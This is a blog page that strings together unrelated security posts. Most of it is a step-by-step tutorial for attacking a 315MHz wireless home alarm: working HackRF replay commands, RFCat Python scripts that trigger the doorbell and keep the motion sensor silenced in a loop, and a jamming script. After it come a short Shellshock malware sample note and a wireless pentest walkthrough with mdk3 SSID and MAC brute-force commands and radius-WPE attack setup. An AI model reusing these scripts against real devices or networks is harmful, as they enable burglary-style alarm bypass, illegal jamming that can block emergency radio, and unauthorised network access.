Saturday, April 25, 2020

Hacking Everything With RF And Software Defined Radio - Part 1


This will be a Mini Course on Attacking Devices with RF from a hackers perspective


I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar
Site: CCLabs.io


Items needed to Follow Along: 

Purchase Target: 

Home Alert System: https://goo.gl/W56Eau
I settled on hacking a home alert system for the first blog, which contained the following Items: 
  • A doorBell
  • Motion Sensors with alarm alerts
  • Door sensors to alert when the door is opened
  • Home Hub Receiver

Purchase Tools Needed: 

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


Penetration Testing BrainStorming Session: 

I brainstormed with a friend the following attack avenues for this device: 
  • Ring the doorbell  (Our Hello World) 
  • Trigger the motion sensors
  • Remotely disable the motion sensors
  • Jam frequencies for Denial Of Service 

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

  • Using HackRF for RF Replay attacks 
  • Using Yardstick One for Replay attacks 
  • Demodulating and decoding signals for use with RF attacks 
  • Discovering and troubleshooting issues
  • Coding tools in python and RFCat
  • RF Jamming Attacks


Video Series PlayList Associated with this blog: 




Initial Profiling of our Device: 

What does our device do in normal operation?   
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

How do they Connect?
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

Determining the Frequency: 
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 




Replay attacks with HackRF To Trigger / Disable Sensors: 

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

Below is a photo of the HackRF One hardware used in the first attack and linked above. 


Install HackRF Software: 

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
  • brew install hackrf
  • Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

Simple Replay Commands: 

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

Receive: (Capture Traffic from HackRF): 

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.9 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
^CCaught signal 2
 5.2 MiB / 0.257 sec = 20.4 MiB/second

Exiting...
Total time: 4.27196 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

Transmit: (Trigger alarm from HackRF) 

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.000 sec = 19.9 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
Input file end reached. Rewind to beginning.
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
^CCaught signal 2
12.8 MiB / 0.654 sec = 19.7 MiB/second

Exiting...
Total time: 12.68557 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

Further Profiling our Devices Functionality: 

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

GQRX Install:

You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 





Select OK and the interface will load up, I made the following changes.

  • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
  • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
  • I then hit play and could view the 315 MHz frequency range. 

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 



I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

Can we replay the Motion Sensor Turn off?? 
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  



Decoding Signal Patterns for Sending With The YardStick One: 

Below is a picture of the yard Stick tool used in the following attacks


Documented Process: 

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

  • Record the transmission with the SDR dongle and GQRX
  • Demodulate and Decode with Audacity into binary (1s & 0s)
  • Convert the Binary to Hex (0x)
  • Replay with YardStick in python and RFCat libraries 

Troubleshooting Extra Steps: 

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

  • Record your YardStick Replay with GQRX and adjust the frequency again based on output
  • Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly
  • Add some  padding in form of \x00 to the end of your Hex to make it work. 
  • Adjust the number of times you repeat your transmissions

Record Transmission with GQRX: 

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

Install Audacity: 

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro's package management to install this tool if it is not found on the site. 

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 



We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's: 



Decode to binary: 

So the main issue here is how many 1's and how many 0's are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks.  

Try converting it yourself, does it look like my representation above? 

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b
0xb8
0x8b
0xb8
0x88
0x8b
0xbb
0x80

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

Install RFCat and Dependencies(libusb, pyusb): 

git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat/
sudo python setup.py install
cd ../
git clone https://github.com/walac/pyusb.git
cd pyusb/
sudo python setup.py install
easy install pip
pip install libusb
Plug in your device and run the following to verify: 
rfcat -r


Setting up your python Replay Attack: 

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
Hex Conversion for the python script: 
\xb8\x8b\xb8\x88\x8b\xbb\x80

I provided a few notations under the code to help understanding but its mostly self explanatory: 

#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()   #1
d.setFreq(315005000)  #2
d.setMdmModulation(MOD_ASK_OOK) #3
d.setMdmDRate(4800) #4 

print "Starting"
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5
print 'Transmission Complete'

#--------End Code --------#
#1 Creating a RfCat instance
#2 Setting your Frequency to the capture range from your GQRX output
#3 Setting the modulation type to ASK Amplitude shift keying
#4 Setting your capture rate to that of your GQRX capture settings 
#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt): 

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

Destroy:ficti0n$ python Door.py
Starting
Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick. 


Doorbell with Yardstick (TroubleShooting): 

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 




If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 




If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 






Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding. 

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   


Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

The following updated code will ring the doorbell using padding: 
#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print ("Starting Transmission")
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)
print ("Transmission Complete")
#--------End Code --------#


Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

Below is a screenshot of the "Motion has ended) transmission in audacity: 



So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 




The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length… 

See what you can come up with,  does it match what I have below? 

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following: 
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b
0x88
0xa2
0x8a
0x28
0xa8
0x8a
0x28
0xa0

Hex Conversion for the python script: 
\x88\xa2\x8a\x28\xa8\x8a\x28\xa0


Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 




Repeating Pattern:
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion:  (Used the online tool, R2 didn't like this binary for some reason) 
\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

Testing / Troubleshooting: 

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
I then tried sending only the opening sequence and that didn't work either.  
I combined the first part with a repeating 2nd part for 10 iterations 
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

  • First add in your opening patterns HEX values
  • Pad that with 6 \x00 for spacing
  • Add the second patterns HEX values and add that with 6 \x00
  • Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  
SUCCESS

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

while 1:  #Added a loop to keep the sensor disabled
print ("Starting Transmission")
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
print ("Transmission Complete")
#--------End Code --------#




Jamming RF With Python: 

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

RF Jamming and the FCC: 

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 


From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

"We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "


Notes On the reality of Criminals: 

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

Jamming in Python: 

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing: 

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
Below is a simple manually configurable version of this script. 


#--------RF_Emp.py Simple Version --------#: 

# For use within Faraday Enclosures only
from rflib import *

print "Start RF Jamming FTW"
d = RfCat()
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(315000000)
d.setMdmSyncMode(0)
d.setMdmDRate(4800)
d.setMdmChanSpc(24000)
d.setModeIDLE()
d.setPower(100)
d.makePktFLEN(0)

print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
d.setModeTX() # start transmitting
raw_input("Unplug to stop jamming")
print 'done'
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
#--------End Code --------#

Notes on using Virtual Machines: 


You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

Whats next: 

This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. 
More articles

  1. Certificacion Ethical Hacking
  2. Como Aprender A Ser Hacker
  3. El Mejor Hacker Del Mundo
  4. Hacking Live

ShellShock Payload Sample Linux.Bashlet



Someone kindly shared their sample of the shellshock malware described by the Malware Must die group - you can read their analysis here:

File: fu4k_2485040231A35B7A465361FAF92A512D
Size: 152
MD5: 2485040231A35B7A465361FAF92A512


VIrustotal

SHA256: e74b2ed6b8b005d6c2eea4c761a2565cde9aab81d5005ed86f45ebf5089add81
File name: trzA114.tmp
Detection ratio: 22 / 55
Analysis date: 2014-10-02 05:12:29 UTC ( 6 hours, 50 minutes ago )
Antivirus Result Update
Ad-Aware Linux.Backdoor.H 20141002
Avast ELF:Shellshock-A [Expl] 20141002
Avira Linux/Small.152.A 20141002
BitDefender Linux.Backdoor.H 20141002
DrWeb Linux.BackDoor.Shellshock.2 20141002
ESET-NOD32 Linux/Agent.AB 20141002
Emsisoft Linux.Backdoor.H (B) 20141002
F-Secure Linux.Backdoor.H 20141001
Fortinet Linux/Small.CU!tr 20141002
GData Linux.Backdoor.H 20141002
Ikarus Backdoor.Linux.Small 20141002
K7AntiVirus Trojan ( 0001140e1 ) 20141001
K7GW Trojan ( 0001140e1 ) 20141001
Kaspersky Backdoor.Linux.Small.cu 20141001
MicroWorld-eScan Linux.Backdoor.H 20141002
Qihoo-360 Trojan.Generic 20141002
Sophos Linux/Bdoor-BGG 20141002
Symantec Linux.Bashlet 20141002
Tencent Win32.Trojan.Gen.Vdat 20141002
TrendMicro ELF_BASHLET.A 20141002
TrendMicro-HouseCall ELF_BASHLET.A 20141002
nProtect Linux.Backdoor.H 20141001
Related news

Thursday, April 23, 2020

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro: 
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing.  Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.



Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output: 
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.
  • Guest_Access
  • Secure_Access
Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")


for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)


SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"


Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness. 



MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode.  I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.


ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries
Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries
Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00
Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)
---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.


Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.


Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.


Steps to Setup WPE attack
  1. Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
  2. Start your WPE server by typing 'radiusd'
  3. Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
  4. Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
  5. Optionally you can use hostAP instead of a physical enterprise AP setup.

